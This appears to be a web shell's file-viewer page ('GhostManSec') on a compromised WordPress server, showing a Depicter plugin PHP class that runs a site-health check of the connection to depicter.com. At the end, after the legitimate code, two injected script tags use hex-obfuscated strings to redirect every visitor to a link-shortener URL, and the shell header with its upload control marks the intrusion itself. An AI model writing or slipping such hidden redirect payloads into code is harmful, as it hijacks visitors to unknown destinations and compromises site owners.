GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/ve.anqa.it/wp-content/plugins/depicter/app/src/WordPress/SystemCheckService.php
<?php
namespace Depicter\WordPress;

class SystemCheckService {

	/**
	 * SystemCheckService constructor.
	 */
	public function __construct(){
		add_filter( 'site_status_tests', array( $this, 'system_status_check' ) );
	}

	/**
	 * Add extra checking for system health
	 *
	 * @param $tests
	 *
	 * @return mixed
	 */
	public function system_status_check( $tests ) {

		$tests['direct']['depicter_curl_check'] = array(
			'label' => __( 'Check to access depicter resources servers.', 'depicter' ),
			'test'  => array( $this, 'check_server_connection' )
		);

		return $tests;
	}

	/**
	 * @throws \Depicter\GuzzleHttp\Exception\GuzzleException
	 */
	public function check_server_connection() {
		$result = array(
			'label'       => __( 'Connecting to depicter resources servers passed successfully', 'depicter' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance', 'depicter' ),
				'color' => 'blue',
			),
			'actions'     => '',
			'test'        => 'check_server_connection',
			'description' => __( 'Connecting to depicter resources servers passed successfully', 'depicter' )
		);

		try {
			$response = \Depicter::remote()->get( \Depicter::remote()->endpoint() . 'v1/core/version-check/latest' );

			if ( $response->getStatusCode() != 200 ) {
				$result['status'] = 'critical';

				$result['description'] = $this->getErrorOuput();
				$result['label'] = __( 'Error while trying to connect to depicter resources servers', 'depicter' );
			}
		} catch( \Exception $exception ) {
			$result['status'] = 'critical';

			$result['description'] = $this->getErrorOuput();
			$result['label'] = __( 'Error while trying to connect to depicter resources servers', 'depicter' );
		}
		return $result;
	}

	/**
	 * Get error output
	 *
	 * @return string
	 */
	public function getErrorOuput() {
		$screen_reader = __( 'Error', 'depicter' );
		$message       = __( 'Your site cannot communicate securely with depicter services. Contact your host provider and ask them to whitelist <code>depicter.com</code> to gain access to assets library', 'depicter' );
		$message       = "<span class='dashicons error'><span class='screen-reader-text'>$screen_reader</span></span> $message";

		$output = '<ul>';
		$output .= sprintf(
			'<li>%s</li>',
			$message
		);
		$output .= '</ul>';

		return $output;
	}
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>